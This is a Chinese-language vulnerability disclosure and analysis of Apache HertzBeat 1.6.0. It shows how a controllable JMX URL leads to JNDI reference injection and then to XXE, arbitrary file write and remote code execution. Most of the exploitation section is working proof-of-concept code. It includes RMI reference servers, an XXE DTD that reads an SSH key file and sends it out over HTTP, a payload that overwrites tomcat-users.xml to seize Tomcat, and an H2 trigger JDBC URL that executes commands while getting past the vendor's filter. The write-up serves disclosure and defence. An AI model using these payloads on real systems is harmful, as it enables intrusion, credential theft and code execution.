0x01 简介 Apache HertzBeat (incubating) 是一个易用友好的开源实时监控告警系统,无需 Agent,高性能集群,兼容 Prometheus,提供强大的自定义监控和状态页构建能力。
0x02 漏洞介绍
这里我和springkill在1.6.0版本给官方报送了两次,一个是xxe和文件写入,另一个为远程命令执行,合并到一起。
0x03 漏洞分析 首先来看一下触发点,apacheHertzBeat后台是可以配置jmx去连接服务器获取服务器的各种配置信息的,也就是说我们可控jmx的连接配置。
org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl#getConnectSession
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private JMXConnector getConnectSession (JmxProtocol jmxProtocol) throws IOException { ...... String url; if (jmxProtocol.getUrl() != null ) { url = jmxProtocol.getUrl(); } else { url = JMX_URL_PREFIX + jmxProtocol.getHost() + ":" + jmxProtocol.getPort() + JMX_URL_SUFFIX; } ...... JMXServiceURL jmxServiceUrl = new JMXServiceURL (url); conn = JMXConnectorFactory.connect(jmxServiceUrl, environment); connectionCommonCache.addCache(identifier, new JmxConnect (conn)); return conn; }
这里会从jmxProtocol获取url,然后JMXConnectorFactory.connect进行连接。但是系统为jdk17,显然是不能加载远程class的,所以我们可以给予本地reference进行利用。
xxe analysis 由于tomcat版本太高,导致beanFactory.noForceString无法在调用任意类的任意方法,但是找到了浅蓝师傅的MemoryUserDatabaseFactory来做xxe和文件写入。
org.apache.catalina.users.MemoryUserDatabaseFactory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (obj != null && obj instanceof Reference) { Reference ref = (Reference)obj; if (!"org.apache.catalina.UserDatabase" .equals(ref.getClassName())) { return null ; } else { MemoryUserDatabase database = new MemoryUserDatabase (name.toString()); RefAddr ra = null ; ra = ref.get("pathname" ); if (ra != null ) { database.setPathname(ra.getContent().toString()); } ra = ref.get("readonly" ); if (ra != null ) { database.setReadonly(Boolean.parseBoolean(ra.getContent().toString())); } ra = ref.get("watchSource" ); if (ra != null ) { database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString())); } database.open(); if (!database.getReadonly()) { database.save(); } return database; } } else { return null ; } ........
可以看到从ref获取到传递的值后,会调用database.open();如果readonly为false,则会调用database.save()。
org.apache.catalina.users.MemoryUserDatabase#open
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public void open () throws Exception { this .writeLock.lock(); try { this .users.clear(); this .groups.clear(); this .roles.clear(); String pathName = this .getPathname(); try { ConfigurationSource.Resource resource = ConfigFileLoader.getSource().getResource(pathName); try { this .lastModified = resource.getLastModified(); Digester digester = new Digester (); try { digester.setFeature("http://apache.org/xml/features/allow-java-encodings" , true ); } catch (Exception var13) { Exception e = var13; log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding" ), e); } digester.addFactoryCreate("tomcat-users/group" , new MemoryGroupCreationFactory (this ), true ); digester.addFactoryCreate("tomcat-users/role" , new MemoryRoleCreationFactory (this ), true ); digester.addFactoryCreate("tomcat-users/user" , new MemoryUserCreationFactory (this ),
它根据路径名发起本地或者远程文件访问,并使用commons-digest解析返回的XML内容,所以这里可以进行XXE。
arbitrary file write analysis 如果org.apache.catalina.users.MemoryUserDatabaseFactory中readonly为 false,则调用 database.save()。
org.apache.catalina.users.MemoryUserDatabase#save
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 if (this .getReadonly()) { log.error(sm.getString("memoryUserDatabase.readOnly" )); } else if (!this .isWritable()) { log.warn(sm.getString("memoryUserDatabase.notPersistable" )); } else { File fileNew = new File (this .pathnameNew); if (!fileNew.isAbsolute()) { fileNew = new File (System.getProperty("catalina.base" ), this .pathnameNew); } this .writeLock.lock(); try { try { FileOutputStream fos = new FileOutputStream (fileNew); try { OutputStreamWriter osw = new OutputStreamWriter (fos, StandardCharsets.UTF_8); try { PrintWriter writer = new PrintWriter (osw); try { writer.println("<?xml version='1.0' encoding='utf-8'?>" ); writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\"" ); writer.print(" " ); writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"" ); writer.print(" " ); writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"" ); writer.println(" version=\"1.0\">" ); Iterator<?> values = null ; for (values = this .getRoles(); values.hasNext(); writer.println("/>" )) { Role role = (Role)values.next(); writer.print(" <role rolename=\"" ); writer.print(Escape.xml(role.getRolename())); writer.print("\"" ); if (null != role.getDescription()) { writer.print(" description=\"" ); writer.print(Escape.xml(role.getDescription())); writer.print("\"" ); } } values = this .getGroups(); .......
可以发现,从pathname获取到的文件然后拼接上System.getProperty(“catalina.base”)进行写入,写入的是tomcat配置用户文件。也就是说,你可以控制生成文件的位置,创建tomcat的后台用户。
tomcat下的二次注入去命令执行 当然,这些还不够,作为安全研究人员,我们不满足于此,经过深入的挖掘后,我发现了tomcat下的二次reference注入去绕过黑名单机制。
org.apache.hertzbeat.manager.Manager#init
1 2 3 public void init () { System.setProperty("jdk.jndi.object.factoriesFilter" , "!com.zaxxer.hikari.HikariJNDIFactory" ); }
在1.6.0中,过滤了com.zaxxer.hikari.HikariJNDIFactory,所以我们需要找一个替代的类或者有什么办法去绕过这个检测。
最后发现在 tomcat 中发现 org.apache.naming.factory.FactoryBase,可导致二次引用注入,从而绕过针对 CVE-2023-51653 的修复,执行任意代码。
org.apache.naming.factory.FactoryBase#getObjectInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public final Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (this .isReferenceTypeSupported(obj)) { Reference ref = (Reference)obj; Object linked = this .getLinked(ref); if (linked != null ) { return linked; } else { ObjectFactory factory = null ; RefAddr factoryRefAddr = ref.get("factory" ); if (factoryRefAddr != null ) { String factoryClassName = factoryRefAddr.getContent().toString(); ClassLoader tcl = Thread.currentThread().getContextClassLoader(); Class<?> factoryClass = null ; NamingException ex; try { if (tcl != null ) { factoryClass = tcl.loadClass(factoryClassName); } else { factoryClass = Class.forName(factoryClassName); } } catch (ClassNotFoundException var14) { ClassNotFoundException e = var14; ex = new NamingException (sm.getString("factoryBase.factoryClassError" )); ex.initCause(e); throw ex; } try { factory = (ObjectFactory)factoryClass.getConstructor().newInstance(); } catch (Throwable var15) { ...... } } else { factory = this .getDefaultFactory(ref); } if (factory != null ) { return factory.getObjectInstance(obj, name, nameCtx, environment); } else { throw new NamingException (sm.getString("factoryBase.instanceCreationError" )); } } } else { return null ; } }
这里我们可以控制工厂,并赋值给一个可利用的工厂,工厂会自动初始化,然后调用factory.getObjectInstance,这样就足够进行二次引用利用了。这里我们将工厂改为com.zaxxer.hikari.HikariJNDIFactory,即绕过过滤检测,触发HikariJNDIFactory加载org.h2.Driver,从而触发任意代码执行漏洞。
com.zaxxer.hikari.HikariJNDIFactory#getObjectInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public synchronized Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (obj instanceof Reference && "javax.sql.DataSource" .equals(((Reference)obj).getClassName())) { Reference ref = (Reference)obj; Set<String> hikariPropSet = PropertyElf.getPropertyNames(HikariConfig.class); Properties properties = new Properties (); Enumeration<RefAddr> enumeration = ref.getAll(); while (true ) { RefAddr element; String type; do { if (!enumeration.hasMoreElements()) { return this .createDataSource(properties, nameCtx); } ...... }
com.zaxxer.hikari.HikariJNDIFactory#createDataSource
1 2 3 4 private DataSource createDataSource (Properties properties, Context context) throws NamingException { String jndiName = properties.getProperty("dataSourceJNDI" ); return (DataSource)(jndiName != null ? this .lookupJndiDataSource(properties, context, jndiName) : new HikariDataSource (new HikariConfig (properties))); }
这里调用createDataSource创建jdbc连接,从而触发h2加载任意代码。
但是在jdk17上是没有js引擎,所以h2调用js是走不通的。
h2withoutjs 执行代码 这里通过分析h2的流程成功找到不需要js也能执行的办法。
H2 在解析 init 参数时,会对 CreateTrigger 进行 LoadFromsource 特殊处理,根据内容开头判断是否由 Javasc Ript 引擎执行,如果以 //javascript/Nashorn/groovy 开头,则会编译 javascript/Nashorn /groovy引擎并执行。但根据我的研究,Create Trigger 时,我可以直接控制生成 Trigger 的代码,这样在不需要任何引擎都可以执行任何代码,在不限制 JDK 版本的情况下,无疑是巨大的风险。
org.h2.command.ddl.CreateTrigger#update
在创建JDBC连接的时候,如果设置了Trigger,那么就会创建TriggerObject。这里的Triggersource,TriggerName,我们都可以控制。
org.h2.schema.TriggerObject#setTriggerAction
完成后会加载到这里。
org.h2.util.SourceCompiler#getClass
就是对一些类进行处理,最后利用Javac编译出恶意的Java代码。
将恶意的Trigger和Class放入Map中,最后使用LoadClass来加载这个恶意类。
这样就可以通过jmx返回一个二次reference去打jdbc利用。
0x04 环境搭建以及复现 搭建 这里我们可以直接在官网下载对应的二进制版本,https://hertzbeat.apache.org/zh-cn/docs/download,然后在bin目录下执行 startup.sh启动即可。
访问http://localhost:1157开始,默认账户:admin/hertzbeat
xxe 恶意 RMIServer Ref。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import org.apache.naming.ResourceRef;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.Properties;public class rmiref { private static String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ; public static ResourceRef exploit () { ResourceRef ref = new ResourceRef ("org.apache.catalina.UserDatabase" , null , "" , "" , true , "org.apache.catalina.users.MemoryUserDatabaseFactory" , null ); ref.add(new StringRefAddr ("pathname" , "http://127.0.0.1:8080/exp.xml" )); return ref; } public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097 ); Properties props = new Properties (); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); props.put(Context.PROVIDER_URL, "rmi://localhost:1097" ); Context context = new InitialContext (props); context.bind("Object" , exploit()); context.close(); } }
恶意的ext.dtd 。
1 <!ENTITY % bbb SYSTEM "file:///Users/snake/.ssh/id_rsa.pub" > <!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'http://127.0.0.1:8080?p=%bbb;'>" >
恶意的exp.xml 。
1 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://127.0.0.1:8080/ext.dtd" > %aaa;%ccc;%ddd;]>
然后使用python创建一个http服务
在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填入service:jmx:rmi:///jndi/rmi://ip:port/object ,http返回
包会读取文件内容。
服务报错,然后读取文件内容。
1 Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is org.xml.sax.SAXParseException; systemId: http://127.0.0.1:8080?p=ssh-rsa%20XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXxx=%20XXXXXXXXXXXXXX@qq.com; lineNumber: 1; columnNumber: 3; The markup declarations contained or pointed to by the document type declaration must be well-formed.]
arbitrary file write poc 恶意 RMIServer Ref。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import org.apache.naming.ResourceRef;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.Properties;public class rmiref { private static String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ; public static ResourceRef exploit () { ResourceRef ref = new ResourceRef ("org.apache.catalina.UserDatabase" , null , "" , "" , true , "org.apache.catalina.users.MemoryUserDatabaseFactory" , null ); ref.add(new StringRefAddr ("pathname" , "/tmp/deadbeef" )); ref.add(new StringRefAddr ("readonly" , "false" )); return ref; } public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097 ); Properties props = new Properties (); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); props.put(Context.PROVIDER_URL, "rmi://localhost:1097" ); Context context = new InitialContext (props); context.bind("Object" , exploit()); context.close(); } }
在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填写service:jmx:rmi:///jndi/rmi://ip:port/object ,
提交后会在/tmp中生成DeadBeef。
如果本地环境变量里有catalina.base,我们就可以写入Tomcat-users.xml来接管Tomcat。
恶意RMIServer Ref。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import org.apache.naming.ResourceRef;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.Properties;public class rmiref { private static String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ; public static ResourceRef exploit () { ResourceRef ref = new ResourceRef ("org.apache.catalina.UserDatabase" , null , "" , "" , true , "org.apache.catalina.users.MemoryUserDatabaseFactory" , null ); ref.add(new StringRefAddr ("pathname" , "http://127.0.0.1:8888/../../conf/tomcat-users.xml" )); ref.add(new StringRefAddr ("readonly" , "false" )); return ref; } public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097 ); Properties props = new Properties (); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); props.put(Context.PROVIDER_URL, "rmi://localhost:1097" ); Context context = new InitialContext (props); context.bind("Object" , exploit()); context.close(); } }
tomcat-users.xml
1 2 3 4 5 6 <tomcat-users > <role rolename ="manager-gui" /> <role rolename ="manager-script" /> <user username ="tomcat" password ="tomcat" roles ="manager-gui" /> <user username ="admin" password ="123456" roles ="manager-script" /> </tomcat-users >
然后使用python创建一个http服务。
org.apache.catalina.users.MemoryUserDatabase#save
1 fileNew = new File (System.getProperty("catalina.base" ), this .pathnameNew);
假设catalina.base=/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/../conf/TOMCAT-users.xml,它们形成的文件路径
是/usr/apache-tomcat-8.5.73/http:127.0.0.1:8888/../conf/tomcat-ssesers.xml,getpaRentfile获取/usr/apache-tomcat-
8.5.73/http:127.0.0.1:8888/../conf/,这个在Windows下是没问题的,但是如果是Linux系统,则需要目录是必须存在的。
rce 由于org.apache.naming.factory.FactoryBase是抽象类,这里factory就填它的子类就行了。
它的四个子类。
1 2 3 4 org.apache.naming.factory.EjbFactory org.apache.naming.factory.ResourceEnvFactory org.apache.naming.factory.ResourceFactory org.apache.naming.factory.TransactionFactory
构造恶意引用并使其在 JNDI 连接时返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import javassist.ClassPool;import javassist.CtClass;import org.apache.naming.ResourceRef;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.Properties;public class refrce { public static ResourceRef exploit () throws Exception { String url= "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$" ; ResourceRef ref = new ResourceRef ("javax.sql.DataSource" , null ,"" ,"" ,true ,"org.apache.naming.factory.ResourceFactory" ,null ); ref.add(new StringRefAddr ("factory" , "com.zaxxer.hikari.HikariJNDIFactory" )); ref.add(new StringRefAddr ("driverClassName" , "org.h2.Driver" )); ref.add(new StringRefAddr ("jdbcUrl" , url)); return ref; } public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097 ); Properties props = new Properties (); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); props.put(Context.PROVIDER_URL, "rmi://localhost:1097" ); Context context = new InitialContext (props); context.bind("Object" , exploit()); context.close(); } }
在**/API/Monitor/Detect接口提交数据,填写 service:jmx:rmi:///jndi/rmi://ip:port/object**,即可执行命令。
同理,在tomcat下的org.apache.naming.factory.LookupFactory也存在二次调用,本来准备下版本交的,可是官方已经设置成白名单了,也就无法利用这个点来进行绕过了。
利用LookupRef来进行二次注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import javassist.ClassPool;import javassist.CtClass;import org.apache.naming.LookupRef;import org.apache.naming.ResourceRef;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.Properties;public class refrce { public static Object exploit () throws Exception { String url= "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$" ; LookupRef ref = new LookupRef ("javax.sql.DataSource" , "org.apache.naming.factory.LookupFactory" , null , null ); ref.add(new StringRefAddr ("factory" , "com.zaxxer.hikari.HikariJNDIFactory" )); ref.add(new StringRefAddr ("driverClassName" , "org.h2.Driver" )); ref.add(new StringRefAddr ("jdbcUrl" , url)); return ref; } public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); Properties props = new Properties (); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); props.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); Context context = new InitialContext (props); context.bind("Object" , exploit()); context.close(); } }
0x05 修复方式 官方直接使用暴力方式进行修复,采用白名单。
1 2 3 4 5 6 7 8 9 10 11 private static final String[] WHITE_PRE_LIST = new String []{ "java." , "javax.management." , "org.apache.hertzbeat." , "org.springframework.util." , "com.sun." , "sun." , "org.slf4j." , "jdk." , "org.w3c.dom." };
只允许以上面开头的类进行加载。
reference https://lists.apache.org/thread/h8k14o1bfyod66p113pkgnt1s52p6p19
https://tttang.com/archive/1405/